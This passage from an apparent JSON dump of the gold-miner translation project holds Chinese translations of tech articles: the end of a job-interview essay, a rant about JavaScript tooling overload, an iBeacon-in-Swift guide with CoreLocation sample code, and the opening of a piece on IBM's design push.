真的很善解人意，面试结束后陪我走了一段，我非常感谢和他的交谈。\n\n几天以后我收到了拒信。和预想的一样，尽管如此这还是让我沮丧了好几天。虽然错去了在 Databricks 工作的机会，我还是衷心的希望他们能够继续取得更大的影响和成功。\n\n\n### 一点感想\n\n1.  Life is short. Professional life is shorter. Make the right move at the right time. 人生短暂，职业生涯更短。正确的时间做正确的选择\n2.  Interviews are not just interviews. They are a perfect time to network and make friends. 面试不仅仅是面试，更是扩展人脉和交朋友的最佳时机\n3.  Always be curious and learn. 始终保持强烈的求知欲\n4.  Negotiation is important for job satisfaction. 想获得满意的工作，谈判技巧很重要\n5.  Getting the job offer only means you meet the minimum requirements. There are no maximum requirements. Keep getting better. 被录用只是证明你达到了最低要求。人生没有上限，做更好的自己\n\n\n从五月的第一次面试到最终九月底拿到录用通知，我的第一次跳槽是这么漫长和不易。\n\n这对我真的不容易，因为我需要保证我现在的工作按期完成。连续几个周我都是准备面试到凌晨一点然后第二天早上八点半起来全身心准备一天的工作。\n五天面试五家工作非常的有压力和冒险，我不建议大家这样做除非你日程特别赶。但是这样做也确实有一个好处，就是在手握多个 offer 时，你会在谈判的时候更具优势。 \n\n我在这里要感谢我所有的招聘者，感谢他们耐心的帮我安排所有的流程，感谢他们的时间跟我交流并安排面试的机会以及最终给我录用通知。\n沁人心扉\n最后也是最重要的是，我要感谢我的家庭，感谢他们对我的爱和支持。感谢我的父母，他们一直在关注我迈出的每一步。感谢我亲爱的老婆为我做的一切还有我亲爱的女儿和她暖人心扉的微笑。\n\n\n也感谢这篇长文的读者们。\n\n你们可在 [LinkedIn](https://www.linkedin.com/in/xiaohanzeng/) 或 [Twitter](https://twitter.com/XiaohanZeng) 上找到我.\n\nXiaohan Zeng\n\n10/22/17\n\n> 译者更新：作者最终选择了 Airbnb 的 offer ， 并将于 11 月入职。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/i-m-a-web-developer-and-i-ve-been-stuck-with-the-simplest-app-for-the-last-10-days.md",
    "content": ">* 原文链接 : [I’m a web developer and I’ve been stuck with the simplest app for the last 10 days](https://medium.com/@pistacchio/i-m-a-web-developer-and-i-ve-been-stuck-with-the-simplest-app-for-the-last-10-days-fb5c50917df#.1i4q6te4a)\n* 原文作者 : [pistacchio](https://medium.com/@pistacchio)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [woota](https://github.com/woota)\n* 校对者: [joyking7](https://github.com/joyking7), [sqrthree](https://github.com/sqrthree)\n\n# JavaScript 生态之乱象\n\n####（原标题：作为一名 web 开发者，我已经被一个极度简单的 app 卡了 10 天）\n\n我是一名全职开发者。我大部分工作的内容是网站的全栈开发。偶尔，我也用 **Python** 或 **Ruby** 写写后端的服务器，有时写点儿 **C#** 。我还用 **C++** 或 **Node.js** 开发一些命令行工具，我发现 Clojure 很有意思，我接触 web 开发是在多年以前，那时用的是 **Perl** 和 **PHP** ，而在我首次进入职业开发道路的时候，我写了几年 **Java** 。\n\n在我第一次接触 **JavaScript** 时，它主要用来往网页上写“_现在是几点_”这样的东西。我说的是上个世纪 90 年代，每个人都想让自己的页面变得更加有趣，_动态地_告诉偶尔到来的访客今天是周几（哇！），并以此为乐。这些年来，我们都发现 JavaScript 能做的远不止这些，我们都想要全效的 **DHTML** (Dynamic HTML)。是的，我们的 HTML 变得充满_动态效果_了！\n\n在过去的几年中，我用过一些不同的框架开发过几个比较大型的单页应用，有时候忙起来，JavaScript 代码组织的极烂，把 **jQuery** 调用写得到处都是。\n\n大概 10 天前，我想开发一个简单的 _SPA_ 给自己用，把一个小工具改写成一个小项目。这一般也就是两三天的功夫。在过去的这半年，我一直在用 C# 写一个桌面应用。这是一个相当无聊的工作流管理程序，有一个网络服务后台和 winform 客户端。\n\n当我起念要开发这个小型 web 应用的时候，我便预见这是一个尝试新技术的好机会，我曾在网上读到过一些，以此刷新我的 web 开发工具库并收获一点乐趣。想想都觉得激动，没什么太复杂的东西，也不用太费劲。\n\n可事实证明，我根本无法着手编写这个简单的项目，因为我陷入了一种**分析瘫痪循环**\n\n到目前为止，我已经有了四到五次“失败的开始”。问题的核心是在 _选择_ 上，以及要如何从过度繁多的工具库中挑选出合适的工具。\n\n谁想写这样的代码\n\n    MyNotReallyClass.prototype.getCarrots = function () {}\n\nES6 _都快_ 落地了，它有了 _近似_ 真正的类，并且 _差不多_ 得到了完好的支持？市面上有那么多的打包工具，谁还想写十行\n\n    <script src=\"library-12.js\"></script>\n\n在页面的顶部？有那么多的框架帮我们组织应用，谁还要写这样的代码\n\n    $(‘.carrots’).innerHTML(myJson.some.property[3]) \n\n谁又想忽视如今编写浏览器端 Javascript 代码有了 Node.js 命令行工具辅助的事实？\n\n所以我深入研究这些新事物，这些我曾经用过现在忘了或是发展了的事物。可天知道，除了一点 HTML 表单，我一直没能取得任何的进展。\n\n请记住，这是一个简单的个人项目，我主要是想找点儿乐子，因此我的脑袋被设置为零容忍模式。一旦什么东西令我厌烦，我就抛开它去寻找其它的东西来抚平我的体验。\n\n这是今天在 Javascript 领域尝试新技术我所期待的几个东西，例举如下\n\n首先，我想试试 **Typescript** 。在过去几个月中我一直写的是 C# ，我知道有一门静态类型的语言是多么棒的一件事：它让你对自己的代码更加自信，重构起来更为便利，IDE 自动补全，不论你写的类有多么的混乱，你都只要写一半的代码。\n\n我需要两个外部的库来实现核心功能。它们不在 [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped) 中，因此我花了半天时间学习 **.d.ts** 文件以及为这几个库写包装类。谈不上富有成效，但我还是写出来了。\n\n我一开始就想用 **Mocha** 添加一些测试。这里是噩梦的开端。我尝试为项目添加多个 **.tsconfig.json** 文件，但 JetBrains WebStorm 不支持，因此编译器不断地把测试代码和实际代码打包在一起。我开始阅读指导，查看 gist ， **StackOverflow** 的相关问题。_使用这个_ **_Gulp_** _配置文件。你必须先编译脚本，然后再对它们进行测试。但如果你测试也是用 Typescript 写，那你还得用这个 Gulp 插件不过它对_ **_watchify_** _的支持不好_。第一天过后，我有了一堆被合并、编译过的文件，_src_ 和 _dest_ 、_test_ 文件夹触发了一些不必要的任务。我已经弄不懂底层究竟是怎么一回事。当编译代码时，依赖在哪里，我是应该 **import** 还是 **require** 或是 **reference** 这个文件？_我去他大爷的_。\n\n之前，我曾在一个小项目中简单地用过一点 **React** ，体验还不错。我想再试试它。为此我添加了一些 Gulp 配置。这里的问题出在了 React 本身。我已经设计好了我的数据模型，但是 React.js 喜欢把数据模型、状态、属性混在一起，为此我不得不重新思考这个问题。我的应用很简单但是表单很密集。你猜怎么着，React 官方文档说：\n\n> 如果你是初次使用这套框架，注意 ReactLink 在绝大多数的应用中是用不到的，而且你应该小心使用它。\n> 在 React 中，数据单向流动：从拥有者到子对象。这是因为在冯·诺依曼计算模型中数据只能单向流动。你可以把它当做“单向数据绑定”。\n\n说得很有道理的样子，但是一个表单，尤其是一个重表单，本质上就是一个双向绑定的东西。因此，React 在没有插件和 mixin 的情况下，对大量输入的支持不好。你得装饰所有的 input 框来支持这个功能。很快，事情就变得让人厌烦起来。还有，说到 mixin ，我用的是 ES6 但 React 的类不支持。_去他大爷的_。\n\n所以，我需要大量的双向数据绑定，对吗？**Knockout** 在这方面做得很出色，我也有过一点使用它的经验。再一次，我尝试使用 ES6 的类，但是 _this_ 的绑定又乱作一团。不用类的话，代码很快变得混乱起来。在尝试了 React 后，Javascript 和 HTML 混起来看丑的一逼。HTML 包含在 Javascript 中，不过这还算有点道理。至少你能够组织合理的逻辑单元，并使它们内聚。\n\n_（这是一条愤怒的旁注，似乎不论我选择什么构建工具，都需要有一些观察任务跑在后台，来进行编译，检查，打包，测试。我在编辑器里写了一些东西，然后 Cmd+S 保存，Cmd+Tab 切回浏览器，再 Cmd+R 刷新页面，可我并没有察觉到有什么变化。你猜怎么着，有时候我动作比编译器快，或者是“观察”任务没有检测到我的编辑动作，抑或是它抛出了一个异常。）_\n\n所以，甚至在我开始写一行代码之前，就不得不先选好我所要用到的工具（依赖管理，打包，测试，构建等等），而且每一种选择都有众多的替代品，它们要么相互竞争，要么相互补充，或多或少更接近标准，或多或少更为成熟，又或者两个合在一起用效果多多少少更好一点。\n\n你想使用哪种风格的 Javascript ？你要用转译器吗？用什么语言？要用 Grunt 吗？Gulp？Bower？Yeoman？Browserify？Webpack？Babel？Common.js？Amd？Angular？Ember？Linting？我究竟在说什么？我是不是把东西给搞混了？我困惑了吗？去他大爷的？对，去他大爷的。\n\n如果你还认同我所说的话，现如今，制作一个 web-app 就好像在玩一个非常困难的**互动小说**游戏（如**魔城**）。让我们穿回多年以前来开发一个程序\n\n> 你置身于一个程序房间。你只能开发命令行程序。出现在你面前的是 C 语言和 Assembly 语言\n\n> \\> 用 C 语言\n\n> 好的，你可以开始编写你的程序\n\n现在，让我们回到 2016 年：\n\n> 你置身于一个 web 应用的房间。\n\n> \\> 开发 web 应用\n\n> 你是要开发游戏吗？不妨考虑使用 Unity 或者 GameMaker 或类似的可为 web 导出的软件\n\n> \\> 开发 web 应用\n\n> 你有没有想过用 web 技术来开发桌面程序呢？比如，你可以使用 NW.js 或 Electron\n\n> \\> 开发 web 应用\n\n> 几门语言出现在了你的面前。你看到 Javascript，Coffescript，Typescript，Clojurescript，Dart，asm.js。如果你想浏览总共127种可用语言，输入“更多”。\n\n> \\> 用 javascript\n\n> 出现了两门语言：ES5 和 ES6\n\n> \\> 用 ES6\n\n> 你来到一间转译器的屋子。你看到了 Babel，Traceur 或者你可以寄希望于浏览器已经支持了你将要用到的特性。输入“更多”查看更多转译器或者阅读“转译器工具（又名——死灵之书）”\n\n> \\> 使用 Babel\n\n> 你来到任务走廊。你看到一只 Grunt 在一个角落，一只 Gulp 在另一角。一只 Babelify 攻击了你，众多 Webpack 正在聚集。在附近的房间里，你听到 Browserify 在叫喊，它正在与 Require.js 战斗。在你的背包中有“转译保存”。\n\n> \\> 离开这里\n\n> 在近处的壁龛中有一只 Yeoman 在发光。你手握 npm 但你的 project.json 坏了。在地板上还躺着 Gruntfile，.jshitrc，.babelrc 和 tsconfig.json。你远远听见一只 Broccoli 和一只 Jasmine 在呼号。\n\n> \\> 操他大爷\n\n> 你不能操他大爷，因为七个房间以前你选择了“npm install node-jsx”，而它目前还不兼容你的配置“操他大爷”\n\n> \\> 退出。\n\n#### 更新\n\n这篇文章在 [Hacker News](https://news.ycombinator.com/item?id=11080080) 上受到了一些关注。我发现有些评论还真是够讽刺的：\n\n> \\> 我已经设计好了我的数据模型，但是 React.js 喜欢把数据模型、状态、属性混在一起，因此我又不得不重新思考这个问题。\n\n> 用 **Redux**  \n\n> \\> 这个 Gulp 配置文件...\n\n> 用 **Webpack**\n\n> **ClojureScript**。好好学吧；ClojureScript 社区会积极跟上时代潮流，又或许偶尔你也可以为社区尽一份力。是的，你得做一些底层的调试工作，不过以你的技术背景应该是小菜一碟。\n\n> 你该使用哪种组合工具？如果你不知道从何下手，可以试试 **Ember** ——这里没有其它工具有的那些问题，也可以在这里找到解决那些问题的工具。\n\n由此，我猜测，跟社区讨论我因从过量工具库中选取和调研工具所导致的“分析瘫痪循环”的结果是被社区建议去尝试，花时间学习和再多研究四门我先开始没想到过的技术。Javascript，干得漂亮！\n"
  },
  {
    "path": "TODO/ibeacon-in-swift.md",
    "content": "\n> * 原文地址：[A Guide to Interacting with iBeacons in iOS using Swift](https://spin.atomicobject.com/2017/01/31/ibeacon-in-swift/)\n* 原文作者：[MATT NEDRICH](https://spin.atomicobject.com/author/nedrich/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[lovelyCiTY](https://github.com/lovelyCiTY)\n* 校对者：[Gocy015](https://github.com/Gocy015)、[Danny1451](https://github.com/Danny1451)\n\n#iOS 开发中使用 Swift 进行 iBeacons 交互指南\n\n\n我最近致力于研究一个关于 [iBeacons](https://developer.apple.com/ibeacon/) 的 iOS 项目。本文中，我将全面的介绍如何使用 [Swift](https://developer.apple.com/swift) 进行 iOS 项目中 iBeacons 开发。我将介绍 iBeacons 是什么，如何进行使用以及在 iOS 项目中开发 iBeacons 交互你应该知道的编程模型。同时，我将分享一些在开发中学到的最佳实践方案。\n\n\n##iBeacons 是什么\n\niBeacons 是一类使用 iBeacon 协议持续向周围发送自身标识信息的低功耗蓝牙设备。它们总是被放置在物理世界中（通常为室内）人们感兴趣的一些地方。当设备移动到一定范围内时，手机应用会收到推送并作出相应的响应。\n\n你也许读过一些文章声称 iBeacons 是一种室内 GPS 信号不稳定时，取代 GPS 进行室内定位的解决方案。虽然这个的说法绝大部分是正确的，但是不能肯定的认为 iBeacons 是一个 GPS 完美的替代方案。他们在操作的模型和位置感知的准确性上比起传统的 GPS 有着相当大的区别。即便如此，带着一点创造性，你依然可以使用 iBeacons 做一些相当酷的事情。\n\n## iBeacon 的应用\n\n在我们了解 iBeacons 如何工作之前，讨论一下它的使用方法也许有些必要。现在有多种多样的 iBeacons 应用，我喜欢把他们分成两大类：1. 推送感知场景的信息 2.定位追踪。\n\n### 推送感知场景的信息\n\n当用户移动到他们感兴趣的区域时，iBeacons 可以用来给他们推送信息。博物馆就是一个典型的例子，设想在每一个展品的位置放置一个 iBeacons 设备，当用户走近展品的时候，手机应用自动展示看到展品的更多信息会有多棒! 这就需要手机应用侦听发射器来了解有哪些发射器接近哪些展品，通过这样的匹配，发射器将定位用户在博物馆中的位置并让应用做出合理的响应。\n\n### 定位追踪\n\n作为推送感知场景的信息概念的扩展，你也可以使用 iBeacons 作为一种追踪用户的方式。设想在一个博物馆或者杂货店的建筑中遍布 iBeacons ，随着用户的移动，由他们通过发射器的顺序，你可以侦测出他们的移动轨迹。这允许你追踪用户的行踪，并且总结出最普遍的行进路线和行进模式。\n\n当然，除了那些简单的例子外这里还有数之不尽的 iBeacons 应用-[这个网站](http://blog.mowowstudios.com/2015/02/100-use-cases-examples-ibeacon-technology/) 很好地罗列出了这些项目。\n\n## iBeacon 寻址方案\n\n如果你过去开发过低功耗蓝牙设备，你也许熟悉蓝牙广播包的概念。iBeacons 本质上只是一个发送广播包的低功耗蓝牙设备。当广播包广播出去，其广播包中包含三个值：一个 **UUID**、一个 **主要值**和一个**次要值**。这三个数字组合起来定义一个 iBeacon 设备的唯一标识并且它是可以由用户进行配置的。\n\n将 UUID 连同主要值以及次要值组合起来是一个很好地寻址方案。设想如果像沃尔玛这样的零售商在所有的商店里配置 iBeacons 设备，他们或许选择一个唯一的 UUID 来指代沃尔玛并且沃尔玛中的所有 iBeacons 都会使用这个 UUID(这使得 UUID 变得不再特殊，但是好像这是 iBeacons 中很常见的寻址方式).之后他们可以使用 iBeacons 的主要值来指代商店的编号和次要值去区别商店所在的不同的部门或区域。\n\n## iBeacon 的制造商\n\niBeacons 的命名是因为苹果定义的 iBeacons 协议（比如广播出去的那些广播数据的形式），但是，他们并不是苹果生产或出售的。\n\n而有几家公司是成产和销售 iBeacons 的，并且每一个生产商都有一点不同，比较主流的生产商包括 [Estimote](http://estimote.com/) 、 [Aruba](http://www.arubanetworks.com/products/mobile-engagement/aruba-beacons/?source=sem&amp;gclid=CMrEzpLaytECFVhYDQodPZ0AKg) 和 [Radius Networks](https://www.radiusnetworks.com/) .如果你正在打算使用 iBeacons ，上边的任何一家都会是个不错的选择。我个人曾使用过 Estimote 和 Radius Networks 两家公司的设备，所以我可以讲一下关于他们更多的细节。\n\n下边是一些关于 Estimote 和 Radius Networks 两家生产商 iBeacons 的图片。\n\n![](https://spin.atomicobject.com/wp-content/uploads/20170119182038/estimote-beacon2.jpg)\n\nEstimote iBeacons\n\n![](https://spin.atomicobject.com/wp-content/uploads/20170119181625/radius-networks-beacons.jpg) \n\nRadius Networks iBeacons.可拆卸式顶部能让你更简单地更换电池。\n\nRadius Networks 的设备很好用因为你可以随意的打开和关闭并且可以方便地更换电池。 Estimote 的设备的电池使用寿命更久，但是当电量用完之后更换起来很麻烦，而且想关闭一个正在广播中的 Estimote 设备可不那么简单。\n\n注：这还有几个和 iBeacons 相似的协议，比如 [Eddystone](https://en.wikipedia.org/wiki/Eddystone_(Google))，大部分的设备厂商生产的设备都是可以支持广播多种协议的。\n\n###可配置性\n\n当你购买了 iBeacons ，制造商通常会提供一个手机应用来帮助你对它进行相关的设置。你可以在应用中对 iBeacons 的 UUID 以及主要值和次要值进行设置，调整他们广播的速率和蓝牙广播的强度。一些设备上并不提供手机应用或者其他便捷的方式来配置他们生产的 iBeacons 。 如果没有什么特别的理由，我推荐你不要购买这些厂商的 iBeacons 。\n\n下边是 Estimote 和 Radius Networks 两个厂商的 iBeacons 配置应用中的一些截图。\n\n#### Estimote 应用配置截图\n\n![](https://spin.atomicobject.com/wp-content/uploads/20170119182212/ea2.jpg)\n\n![](https://spin.atomicobject.com/wp-content/uploads/20170119182215/ea3.jpg) \n\n\n在 Estimote 厂商的应用中，你可以在截图中看到调整设备的广播比率和蓝牙广播强度的设置。\t \n\n#### Radius Networks 应用配置截图\n![](https://spin.atomicobject.com/wp-content/uploads/20170117223648/rna1.jpg)\n\n![](https://spin.atomicobject.com/wp-content/uploads/20170117223650/rna2.jpg) \n\n除了手机应用外，厂商之间的 iBeacons 还有如下的区别。当在选择 iBeacons 时，你应该去考虑如下的因素，因为厂商间趋向于在这些方便有所区别：\n\n- 设备的电池寿命\n\n- 设备的电池是否可更换\n\n- 信号的最大、最小范围\n\n- 设备是否有关闭的功能，至少是能否让他们停止广播\n\n- 对其他协议的是否支持(比如 Eddystone)\n\n- SDK 功能的完善性（如果一个存在你正打算使用的功能）\n\n## iOS 编程模型\n\n我们已经讨论了 iBeacons 是什么，如何工作并且比较了不同厂商的区别。现在让我们来看下一下 iOS 编程中和他们进行交互的模板。\n\niBeacons 的所有功能都是有 iOS 中的 CoreLocation 库提供，由于 iBeacons 其实是蓝牙设备，这个封装其实非常有趣。开发者无需了解抽象的库内部本质上其实是蓝牙设备的信号发射器。\n\n\n### 权限\n\n在你的应用中使用 iBeacons ，用户必须允许访问位置权限。你可以通过在 `Info.plist` 文件中添加指定键值来提示用户准许权限。`NSLocationWhenInUseUsageDescription` 关键词将在应用处于前台时提示用户打开他们的位置权限。如果你的应用需要在处于后台时接收 iBeacons 位置的推送，需要使用 `NSLocationAlwaysUsageDescription` 关键词进行替代。\n\n设置好这些键值之后，你还需要在应用唤起时，在你的 CLLocationManager 实例中调用 requestWhenInUseAuthorization() 方法或者 requestAlwaysAuthorization() 方法。\n\n\n### iBeacon 监听模式\n\n接收 iBeacon 的通知有两种模型 ：**监听** 和 **范围**，他们之间有着很大的区别。你应该依据项目的需求，使用其中的一个或者全部都进行使用。\n\n\n#### 监听\n\n监听是两种模型中比较简单的一个，它可以在你的应用进入或者离开的一个区域的时候进行提醒。为了监听这些事件，需要实例化 `CLLocationManager` 类并且实现 `didEnterRegion` 和 `didExitRegion` 这两个代理方法。我的使用经验是退出事件可能会在你离开一个区域后推迟大概 30 秒后才会执行。但是进入一个区域的事件基本上在进入一个区域时马上就会触发，基本上是没有延迟的。如果你一开始是就是在一个区域中的，那么直到你离开这个区域之前不会收到任何的事件回调。\n\n下边的是设置监听一个区域的代码。\n\nSwift\n\n```\nvar locationManager: CLLocationManager = CLLocationManager()\nif let uuid = UUID(uuidString: \"B9407F30-F5F8-466E-AFF9-25556B57FE6D\") {\n    let beaconRegion = CLBeaconRegion(\n        proximityUUID: uuid,\n        major: 100,\n        minor: 50.\n        identifier: \"iBeacon\")\n    locationManager.startMonitoringForRegion(beaconRegion)\n}\n```\n\n在设置了监听之后，你可以通过实现下边的两个代理方法来监听进入和离开区域的回调 ：\n\nSwift\n\n```\nfunc locationManager(_ manager: CLLocationManager, didEnterRegion region: CLRegion) {\n    if let beaconRegion = region as? CLBeaconRegion {\n        print(\"DID ENTER REGION: uuid: \\(beaconRegion.proximityUUID.UUIDString)\")\n    }\n}\n    \nfunc locationManager(_ manager: CLLocationManager, didExitRegion region: CLRegion) {\n    if let beaconRegion = region as? CLBeaconRegion {\n        print(\"DID EXIT REGION: uuid: \\(beaconRegion.proximityUUID.UUIDString)\")\n    }\n}\n```\n\n这还有两个很有用的 `CLLocationManagerDelegate` 的代理方法 ：`didStartMonitoringForRegion` 方法来确认监听被正常启动了，如果监听启动的时候出错 `monitoringDidFailForRegion` 方法会提供错误信息。\n\n你需要注意到的一大限制因素是：你同时最多只能监听 20 个设备。如果你有超过 20 个设备，你就需要持续管理维护应用正在监听的设备列表。\n\n#### 范围\n\n范围是 iBeacon 中的另一种推送模式，本质上它比起监听模式的信息量更大并且更频繁的发送更新数据到应用。设置范围模式和设置监听模式很相似，你只需要用 `startRangingBeaconsInRegion` 替换 `startMonitoringForRegion` 方法。一旦设置完成，你只需要监听 `didRangeBeacons` 方法的回调，这个代理方法实现如下：\n\nSwift\n\n```\nfunc locationManager(_ manager: CLLocationManager, didRangeBeacons beacons: [CLBeacon], inRegion region: CLBeaconRegion) {\n    for beacon in beacons {\n        var beaconProximity: String;\n        switch (beacon.proximity) {\n        case CLProximity.Unknown:    beaconProximity = \"Unknown\";\n        case CLProximity.Far:        beaconProximity = \"Far\";\n        case CLProximity.Near:       beaconProximity = \"Near\";\n        case CLProximity.Immediate:  beaconProximity = \"Immediate\";\n        }\n        print(\"BEACON RANGED: uuid: \\(beacon.proximityUUID.UUIDString) major: \\(beacon.major)  minor: \\(beacon.minor) proximity: \\(beaconProximity)\")\n    }\n}\n```\n\n这些回调方法基本上每秒都会触发一次。每次回调返回一个`CLBeacon` 对象，其中范围内的设备信息如下：\n\n- 接近度 - `CLProximity` 类描述设备的接近程度，值包括 `Near`, `Far`, `Immediate` 和 `Unknown`。\n\n- 精确度 - `CLLocationAccuracy` 类捕获一个和设备间精确到米精确值。\n\n- RSSI - 捕获一个 `Int` 类型的信息用来描述设备信号强度。\n\n另外说明一下我们同是需要关注范围模式比起监听模式是更耗电。此外，尽管技术上你可以在后台使用范围模式，但这是个很不被认可的方案。网上的讨论中都说如果你在项目中这样使用会被苹果公司拒绝上线。\n\n\n## 更多讨论\n\n### 距离是否准确\n\n网上有许多围绕每次 ranging event（指的就是范围模式的 didRangeBeacons 回调） 所返回的 `CLLocationAccuracy` 值的[讨论](http://stackoverflow.com/questions/20416218/understanding-ibeacon-distancing)。人们常把这个值当作手机与发射器的实际距离值。以我的经验来看，你当然可以把这个值当作实际的距离，但它并不总是那么准确。苹果文档建议你首先利用 `CLProxity` 枚举值来初步判定设备距离的远近，然后再用 `CLLocationAccuracy` 的值来区分其中接近度相近的值。\n\n[这篇博客](https://shinesolutions.com/2014/02/17/the-beacon-experiments-low-energy-bluetooth-devices-in-action/) 进行了一些有趣的试验来测试精确的距离。\n\n### 监听超过 20 个设备\n\n正像我前边介绍的那样，你现在只能监听 20 个 iBeacons ，如果你需要监听超过 20 个设备，你将需要在应用运行的过程中更改监听的设置，一种实现方案是用图表来展示你的 iBeacons 网络，在网络中定义最顶层的 iBeacons 以及如果这些彼此接近的情况下能够连接到的边界。这样你就可以快速的查找到最接近的 20 个 iBeacons 并监听他们。这需要很多的工作，但是定义一个这样的拓扑是一种实现 20 个 iBeacons 限制的方式。\n\n### 法拉第容器(用于静电屏蔽)\n\n如果你的 iBeacons 不能关闭或者不能轻易的在广播数据的过程中被停止，你也许应该考虑购买一个法拉第包或笼。如果 iBeacon 不能被关闭的话，多个设备配置起来很麻烦，会互相干扰，所以需要法拉第笼来屏蔽其他设备，一个个来设置。我们很确定 Estimote 的 iBeacons 就有上述的问题，放置所有的设备除了其中一个放置在法拉第笼中，这将使你很容易使你想要配置的 iBeacons 被孤立出来。\n\n## 示例工程\n\n如果你在寻找一个允许用户定义 iBeacons 的监听和范围模式的简单示例工程。你可以看下我的[GitHub 项目](https://github.com/mattnedrich/beacon-scanner)。\n\n\n"
  },
  {
    "path": "TODO/ibm-is-becoming-the-worlds-largest-design-company.md",
    "content": "> * 原文地址：[IBM is gearing up to become the world’s largest and most sophisticated design company](http://qz.com/755741/ibm-is-becoming-the-worlds-largest-design-company/)\n* 原文作者：[Anne Quito](http://qz.com/author/annequitoqz/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiaowoyongqi](https://github.com/jiaowoyongqi)\n* 校对者：[zhouzihanntu](https://github.com/zhouzihanntu), [ddiiiik](https://github.com/ddiiiik)\n\n# 奋起的 IBM 凭什么成为世界上最大最精致的设计公司？\n\n_在这本书 [完美的公司](http://qz.com/se/perfect-company/) 中我们研究了世界上各个小而美的公司，发现没有任何一个公司可以称之为完美，但是如果把他们整合在一起那么就会出现符合理想型公司的特点。_\n\n## 最终理想\n\n“设计**不是**套路。也**不是**简单的搭建外壳不管里面的内容。优秀的设计应该具备文艺复兴时代的精神，并且结合技术、认知科学、人类需求和美学来创造出使世界为之惊喜的事物。”_ **现代美术馆馆长 Paola Antonelli 说道**。\n\n## 行动\n\n2012 年，IBM 这个 105 岁的科技公司立下了一个满怀雄心的誓言：与几百位设计师一起改造团队，并训练所有的员工**像**设计师那样思考与工作（全球员工共 377,00 多位）。就好像 60 年前 IBM 打算通过设计思维来提高基准水平一样，不过这次的决心更大，打算将其贯穿于公司上下。\n\n这次 IBM 的设计文艺复兴态度与 [企业设计化项目](http://www-03.ibm.com/ibm/history/ibm100/us/en/icons/gooddesign/team/) 这篇 20 年前发表的文章有很大不同。在 1956 年，IBM 的创始人兼总裁 Thomas J. Watson 喊出了十分著名的行动口号“优秀的设计就是优秀的商业”来达到“看得见的设计目标”，并以此提高公司的影响力。但是现在 IBM 不再像 1960 年那样高调地雇佣像 Eliot Noyes、Eero Saarinen、Paul Rand、Charles 和 Ray Eames 这样的设计巨匠了，而是更激进地雇佣那些具有合作能力的应届毕业生和职业中期设计师。“一个单独的设计师不足以应对这些挑战。” IBM 的设计经理这样说道，这也是现在他们这个全新的团队所秉持的设计哲学。\n\n但在 IBM 的所有专业岗位中，例如科学家、工程师、商务专业人士，为什么只将设计师置于如此之高的地位？\n\n“设计师对于产品的正确方向有着敏锐的直觉。他们深知绝佳的用户体验所带来的力量，也明白如何让用户在使用产品的时候感受到如在自家之中一样自在。”Gilbert，IBM 首席设计思维传教士这样说道。\n\n![](https://qzprod.files.wordpress.com/2016/08/14707263174_4882bddcb7_o.jpg?w=4184)\n\nIBM 的设计定位。\n\n\n\n“设计是每个人的工作。但并非人人都是设计师，但每个人都应该将用户当做他们的指向标。”Gilbert 说这个设计化项目让这个市值 143 亿美元的公司变得更具远见，并且从之前以技术驱动的“功能至上”的公司宗旨转变成“用户至上”。“这让我们开始为用户解决实际问题，而不是不停的开发一个又一个新功能。”他补充到。\n\n在最近的一个项目中，一家航空公司请求 IBM 帮助他们提高售票窗口的速度以缩短乘客的检票时间。工程师接到需求后就开始思考如何提高收票窗口的软件性能，而设计师则直接去询问工作人员为何检票的效率如此之低。最后他们发现女性工作人员在给检票机充电的时候遇到了困难，因为她们的特殊制服使得她们很难够到机器后面的充电孔。发现了问题的关键后，IBM 开发了一款手机应用替代了传统的登机流程，并且减少了航空公司的成本。\n\nGilbert 表示通过让员工像设计师一样思考可以帮助他们产生“情感联系”，并且开始关心用户遇到的困难、压力以及不安全感。“这对其他部门的员工来说或许并不熟悉，但这对于设计师来说十分熟悉，因为这是他们解决问题的方式。” Gilbert 解释道，设计已经成为逐步覆盖到了 IBM 的商业部门及工程部门。“如果一个项目没有三个部门的协同参与，至少在一定的范围内你将无法得到可靠、优质的成果。”\n\n![IBM Thomas J. Watson Memo 123](https://qzprod.files.wordpress.com/2016/08/us__en_us__letter__thomas__364x505.jpg?w=940)\n\nIBM 的设计管理文件。\n\n\n\n在IBM [设计训练营](http://www.ibm.com/blogs/think/2016/01/21/ibm-design-thinking-a-framework-for-teams-to-continuously-understand-and-deliver/) 这篇文章中说道，同理心（理解他人感受的能力）成为了训练营中的关键词，以此更好地与同事和顾客建立起联系。他们还练就了原型设计、团队建设、问题解决的能力、以及如何深入理解客户与同事的感受和需求，从而提出更好的解决方案。\n\n“设计是所有人的工作。并非人人都是设计师，但是每个人都应该以用户为中心。”Gilbert 在公司的 [博客](http://www.ibm.com/smarterplanet/us/en/innovation_explanations/article/phil_gilbert.html) 中这样写道。在2016年底，100,000 位 IBM 员工必须要进行各类的设计训练。\n\n三年后，IBM 的员工数量将会增加三倍，其中将会有 1,300 位受过正式训练的设计师，分布在美国波士顿到德国伯布林根近 31 个工作室中。他们收购了 4 家数字化品牌机构，并建立了世上最庞大的工作室关系网。IBM 还在快速地组建他们的设计诺亚方舟，其中包括产品设计师、图形设计师、界面设计师、品牌设计师甚至还有排版设计师。\n\n\n![](https://qzprod.files.wordpress.com/2016/08/15398319451_86f84a9784_o.jpg?w=7120)\n\nIBM 位于德克萨斯州奥斯汀的设计工作室。\n\n![](https://qzprod.files.wordpress.com/2016/08/lemniscate_wired_invert-1-768x481.jpg?w=1600)\n\nIBM 的设计思维。\n\n\n\n还将有新的一批创意人才加入 